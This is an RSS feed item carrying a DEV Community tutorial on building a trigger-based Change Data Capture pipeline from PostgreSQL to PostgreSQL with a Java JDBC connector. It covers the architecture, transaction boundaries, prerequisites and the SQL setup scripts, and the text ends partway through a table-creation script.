<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sanjay Ghosh</title>
    <description>The latest articles on DEV Community by Sanjay Ghosh (@sanjayghosh).</description>
    <link>https://dev.to/sanjayghosh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3733607%2F167b985e-e1fa-44ef-afd9-7e6c162a39fe.jpg</url>
      <title>DEV Community: Sanjay Ghosh</title>
      <link>https://dev.to/sanjayghosh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sanjayghosh"/>
    <language>en</language>
    <item>
      <title>Building a Change Data Capture (CDC) System Using PostgreSQL Triggers and Java</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sat, 07 Nov 2026 18:13:19 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/building-a-change-data-capture-cdc-system-using-postgresql-triggers-and-java-ggi</link>
      <guid>https://dev.to/sanjayghosh/building-a-change-data-capture-cdc-system-using-postgresql-triggers-and-java-ggi</guid>
      <description>&lt;h2&gt;
  
  
  1. Introduction
&lt;/h2&gt;

&lt;p&gt;Modern applications often need to keep data synchronized across multiple databases or systems. For example, an organization might maintain its primary operational database while also maintaining a separate database for reporting, analytics, search, or downstream application processing.&lt;/p&gt;

&lt;p&gt;One common approach is to periodically copy data from the source database to the destination database. However, repeatedly copying entire tables can be inefficient, especially when only a small percentage of records have changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Change Data Capture (CDC)&lt;/strong&gt; provides a more efficient approach by identifying and capturing changes made to the source data. Instead of transferring entire tables repeatedly, a CDC system captures individual data changes, such as INSERT, UPDATE, and DELETE operations, and propagates them to another system.&lt;/p&gt;

&lt;p&gt;In this tutorial, we will build a simple CDC pipeline using PostgreSQL and Java.&lt;/p&gt;

&lt;p&gt;We will use PostgreSQL database triggers to capture changes made to a source table. These changes will be recorded in a dedicated CDC events table. A Java-based CDC connector will periodically read these events using JDBC and apply the corresponding changes to a destination PostgreSQL database.&lt;/p&gt;

&lt;p&gt;The connector will also implement batch processing, pagination, checkpoint management, transaction handling, retry logic, and database connection recovery.&lt;/p&gt;

&lt;h3&gt;
  
  
  What We Will Build
&lt;/h3&gt;

&lt;p&gt;Our implementation consists of three main components:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Source PostgreSQL Database:&lt;/strong&gt; Contains an &lt;code&gt;employees&lt;/code&gt; table. Database triggers capture INSERT, UPDATE, and DELETE operations and record the changes in a &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Java CDC Connector:&lt;/strong&gt; Periodically polls the CDC events table, retrieves pending events, processes them in batches, and applies the changes to the destination database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destination PostgreSQL Database:&lt;/strong&gt; Maintains a synchronized copy of the employees table and a checkpoint table that tracks the last successfully processed event.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By the end of this tutorial, we will have a working CDC pipeline that can capture database changes and propagate them to another PostgreSQL database.&lt;/p&gt;

&lt;p&gt;We will also test the implementation by inserting, updating, and deleting employee records, and examine how the connector handles batch processing, restarts, and database connection failures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This tutorial implements trigger-based CDC. It does not read PostgreSQL's Write-Ahead Log (WAL). We will discuss the differences between trigger-based CDC and WAL-based CDC later in the tutorial.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Further Reading:&lt;/strong&gt; Before exploring the implementation, you may find it helpful to review the &lt;a href="https://clockwiseknowledge.com/se/cdc.htm" rel="noopener noreferrer"&gt;Change Data Capture (CDC) Pattern&lt;/a&gt;, which explains the fundamental concepts, different CDC approaches, architecture, and key design considerations.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Understanding the Architecture
&lt;/h2&gt;

&lt;p&gt;Before looking at the SQL scripts and Java implementation, let's understand the overall architecture of our CDC pipeline.&lt;/p&gt;

&lt;p&gt;The system uses two separate PostgreSQL databases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Source database (&lt;code&gt;cdc_source&lt;/code&gt;):&lt;/strong&gt; Stores the original employee records and captures changes using database triggers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destination database (&lt;code&gt;cdc_destination&lt;/code&gt;):&lt;/strong&gt; Stores the synchronized employee records and maintains the CDC processing checkpoint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A Java application, called the CDC connector, runs independently of both databases. It connects to the source and destination databases using JDBC and transfers captured changes from the source to the destination.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7qq3hn77u9jv8a40bxh6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7qq3hn77u9jv8a40bxh6.png" alt=" " width="800" height="409"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Figure 1: Detailed architecture of the PostgreSQL trigger-based CDC pipeline.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  2.1 Source PostgreSQL Database
&lt;/h3&gt;

&lt;p&gt;The source database contains two important database objects:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. employees table&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the primary table where application data is stored. For this demonstration, we use an employee table containing fields such as employee ID, employee name, department, and salary.&lt;/p&gt;

&lt;p&gt;Applications perform normal INSERT, UPDATE, and DELETE operations against this table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. cdc_events table&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This table stores the changes captured by the database triggers.&lt;/p&gt;

&lt;p&gt;Each event contains information such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;event_id&lt;/code&gt;: A unique event identifier generated using a PostgreSQL sequence.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;operation&lt;/code&gt;: The type of database operation (INSERT, UPDATE, or DELETE).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;record_id&lt;/code&gt;: The employee ID associated with the change.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;changed_data&lt;/code&gt;: The employee data captured as JSONB.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created_at&lt;/code&gt;: The timestamp when the event was recorded.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A PostgreSQL trigger function executes after an INSERT, UPDATE, or DELETE operation on the employees table. It records the corresponding change in &lt;code&gt;cdc_events&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;An important property of this design is that the source data modification and the corresponding CDC event insertion occur within the same database transaction. If the source transaction rolls back, the CDC event is rolled back as well.&lt;/p&gt;

&lt;p&gt;This prevents the event table from recording a committed change that never actually occurred in the source database.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.2 Java CDC Connector
&lt;/h3&gt;

&lt;p&gt;The Java CDC connector is responsible for moving captured changes from the source database to the destination database.&lt;/p&gt;

&lt;p&gt;It uses JDBC to communicate with both PostgreSQL databases.&lt;/p&gt;

&lt;p&gt;The connector performs the following operations:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Polling the source database&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector periodically queries the &lt;code&gt;cdc_events&lt;/code&gt; table for events whose IDs are greater than the last processed event ID stored in the checkpoint table.&lt;/p&gt;

&lt;p&gt;Events are retrieved in ascending event ID order.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Pagination and batch processing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector retrieves a limited number of events in each query. This is controlled by the fetch-size configuration.&lt;/p&gt;

&lt;p&gt;The retrieved events are then divided into smaller processing batches according to the configured batch size.&lt;/p&gt;

&lt;p&gt;For example, if the fetch size is 4 and the batch size is 3, the connector retrieves up to four events at a time and processes them in batches of three and one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Applying changes to the destination&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For each event, the connector examines the operation type and performs the corresponding action against the destination employees table:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;INSERT: Inserts a new employee record.&lt;/li&gt;
&lt;li&gt;UPDATE: Updates an existing employee record.&lt;/li&gt;
&lt;li&gt;DELETE: Deletes the employee record.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. Checkpoint management&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After successfully applying a batch, the connector updates the checkpoint in the destination database.&lt;/p&gt;

&lt;p&gt;The checkpoint records the last successfully processed event ID. When the connector restarts, it reads this value and resumes processing from the next event.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Error handling and recovery&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector includes transaction rollback, retry handling with exponential backoff, and database connection recovery.&lt;/p&gt;

&lt;p&gt;If a retryable transaction error occurs, the connector rolls back the current transaction and retries the batch. If a database connection failure occurs, the connector attempts to reconnect and resume from the stored checkpoint.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.3 Destination PostgreSQL Database
&lt;/h3&gt;

&lt;p&gt;The destination database maintains a synchronized copy of the source employees table.&lt;/p&gt;

&lt;p&gt;It contains two important tables:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. employees table&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This table stores employee records replicated from the source database.&lt;/p&gt;

&lt;p&gt;The Java connector applies INSERT, UPDATE, and DELETE operations to this table based on the events retrieved from the source database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. cdc_checkpoint table&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This table maintains the connector's processing position.&lt;/p&gt;

&lt;p&gt;It stores the connector name, the last successfully processed event ID, and the timestamp of the checkpoint update.&lt;/p&gt;

&lt;p&gt;The destination data changes and checkpoint update are committed within the same destination database transaction. This ensures that the checkpoint does not advance independently of the corresponding data changes.&lt;/p&gt;

&lt;p&gt;If a destination transaction fails, both the data changes and checkpoint update are rolled back.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.4 End-to-End CDC Processing Flow
&lt;/h3&gt;

&lt;p&gt;Let's walk through the complete processing flow.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An application inserts, updates, or deletes an employee record in the source &lt;code&gt;employees&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;The PostgreSQL trigger executes and records the change in the source &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;The Java CDC connector periodically polls the source database for events that have not yet been processed.&lt;/li&gt;
&lt;li&gt;The connector retrieves events using pagination and divides them into processing batches.&lt;/li&gt;
&lt;li&gt;For each event, the connector applies the corresponding INSERT, UPDATE, or DELETE operation to the destination &lt;code&gt;employees&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;After processing a batch successfully, the connector updates the checkpoint with the last event ID in that batch.&lt;/li&gt;
&lt;li&gt;The destination data changes and checkpoint update are committed together.&lt;/li&gt;
&lt;li&gt;If a retryable transaction error occurs, the connector rolls back and retries the batch. If a connection failure occurs, it reconnects and resumes using the checkpoint.&lt;/li&gt;
&lt;li&gt;The polling cycle continues, allowing subsequent source database changes to be synchronized.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  2.5 Important Transaction Boundaries
&lt;/h3&gt;

&lt;p&gt;There are two important transaction boundaries in this architecture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source transaction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The source employee modification and the insertion of its corresponding CDC event are part of the same source database transaction.&lt;/p&gt;

&lt;p&gt;This ensures that the CDC event is committed only when the source data change is committed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Destination transaction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector applies all employee changes in a batch and updates the checkpoint within one destination database transaction.&lt;/p&gt;

&lt;p&gt;If any operation in the batch fails, the transaction is rolled back. This prevents the checkpoint from advancing when the corresponding batch has not been successfully committed.&lt;/p&gt;

&lt;p&gt;These transaction boundaries are important for maintaining consistency between the source event stream and the destination data.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.6 Architecture Summary
&lt;/h3&gt;

&lt;p&gt;The overall architecture can be summarized as follows:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Responsibility&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Source &lt;code&gt;employees&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Stores original employee records&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL trigger&lt;/td&gt;
&lt;td&gt;Captures INSERT, UPDATE, and DELETE operations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Source &lt;code&gt;cdc_events&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Stores captured database changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java CDC connector&lt;/td&gt;
&lt;td&gt;Polls, processes, and transfers events&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Destination &lt;code&gt;employees&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Stores synchronized employee records&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Destination &lt;code&gt;cdc_checkpoint&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Tracks successfully processed events&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This design provides a practical foundation for understanding how a trigger-based CDC pipeline works.&lt;/p&gt;

&lt;p&gt;One limitation to keep in mind is that a sequence-generated event ID does not necessarily represent transaction commit order when multiple source transactions run concurrently. We will discuss this ordering consideration and other limitations later in the tutorial.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Setting Up the PostgreSQL Databases
&lt;/h2&gt;

&lt;p&gt;Before implementing the CDC logic, we need to set up the source and destination PostgreSQL databases.&lt;/p&gt;

&lt;p&gt;We will use two separate databases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cdc_source&lt;/code&gt; – Stores the original employee records and captures database changes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cdc_destination&lt;/code&gt; – Stores the synchronized employee records and CDC checkpoint information.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  3.1 Prerequisites
&lt;/h3&gt;

&lt;p&gt;Make sure the following software is installed before proceeding.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Software&lt;/th&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;JDK 17 or later&lt;/td&gt;
&lt;td&gt;Runs the Java CDC connector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maven&lt;/td&gt;
&lt;td&gt;Maven 3.x&lt;/td&gt;
&lt;td&gt;Builds the Java application and manages dependencies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;PostgreSQL 16.x or compatible&lt;/td&gt;
&lt;td&gt;Provides the source and destination databases&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;Clones the project repository&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Verify your installations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Check the Java version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check Maven:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mvn &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check PostgreSQL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should have PostgreSQL running and be able to connect using the PostgreSQL command-line client (&lt;code&gt;psql&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download the source code&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The complete project, including the SQL scripts and Java implementation, is available in the GitHub repository:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering.git" rel="noopener noreferrer"&gt;PostgreSQL Trigger-Based CDC Demo – GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clone the repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;-b&lt;/span&gt; dev https://github.com/knowledgebase21st/Software-Engineering.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to the project directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;cdc-demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The project contains the SQL scripts required to create the databases and tables, along with the Java CDC connector implementation.&lt;/p&gt;

&lt;p&gt;In the next section, we will create the source PostgreSQL database and its employee table.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Creating the Source Database
&lt;/h3&gt;

&lt;p&gt;The first step is to create the source PostgreSQL database named &lt;code&gt;cdc_source&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This database will store the original employee records and the CDC events generated by database triggers.&lt;/p&gt;

&lt;p&gt;Our project includes the following SQL script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sql/01_create_source_database.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SQL Script: 01_create_source_database.sql&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 01_create_source_database.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create the source database for CDC demonstration&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the source database if it does not already exist.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'CREATE DATABASE cdc_source'&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_source'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;gexec&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify database creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_source'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Understanding the SQL script&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's look at the important parts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Checking whether the database exists&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'CREATE DATABASE cdc_source'&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_source'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PostgreSQL maintains a system catalog named &lt;code&gt;pg_database&lt;/code&gt;, which contains information about databases in the PostgreSQL server.&lt;/p&gt;

&lt;p&gt;The query checks whether a database named &lt;code&gt;cdc_source&lt;/code&gt; already exists.&lt;/p&gt;

&lt;p&gt;If it does not exist, the query returns the text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt; &lt;span class="n"&gt;cdc_source&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the database already exists, the query returns no rows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Executing the CREATE DATABASE command&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;gexec&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;\gexec&lt;/code&gt; is a PostgreSQL &lt;code&gt;psql&lt;/code&gt; meta-command. It executes the SQL statements returned by the preceding query.&lt;/p&gt;

&lt;p&gt;In this case, it executes &lt;code&gt;CREATE DATABASE cdc_source&lt;/code&gt; only when the database does not already exist.&lt;/p&gt;

&lt;p&gt;This makes the script safe to run multiple times without attempting to create an existing database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Verifying database creation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_source'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query checks the PostgreSQL system catalog again and displays the database name if it exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Executing the script&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Connect to the default PostgreSQL database (&lt;code&gt;postgres&lt;/code&gt;) using &lt;code&gt;psql&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; postgres
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can execute the SQL script from the terminal using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; postgres &lt;span class="nt"&gt;-f&lt;/span&gt; sql/01_create_source_database.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make sure you run this command from the project root directory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Expected output&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the database does not already exist, the script creates it and displays its name during verification.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  datname
------------
 cdc_source
(1 row)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the database already exists, the creation step is skipped and the verification query still displays &lt;code&gt;cdc_source&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The source database is now ready. In the next section, we will create the employees table and the CDC events table.&lt;/p&gt;

&lt;p&gt;Technical Note: The \gexec command is a psql meta-command, not a standard SQL statement. Therefore, this script should be executed using the PostgreSQL command-line client (psql). It will not work directly in pgAdmin's Query Tool or other SQL editors that do not support psql meta-commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Creating the Source Tables
&lt;/h3&gt;

&lt;p&gt;After creating the &lt;code&gt;cdc_source&lt;/code&gt; database, the next step is to create the tables required for the CDC pipeline.&lt;/p&gt;

&lt;p&gt;We will create two tables:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;employees&lt;/strong&gt; – Stores the original employee records. This is the source table where INSERT, UPDATE, and DELETE operations will occur.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;cdc_events&lt;/strong&gt; – Stores the change events captured by the PostgreSQL trigger. The Java CDC connector will periodically read these events and apply the corresponding changes to the destination database.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Step 1: Create the Tables
&lt;/h4&gt;

&lt;p&gt;The following SQL script creates both tables.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/02_create_source_tables.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 02_create_source_tables.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create source employee and CDC event tables&lt;/span&gt;
&lt;span class="c1"&gt;-- Database: cdc_source&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the employees table.&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;SERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
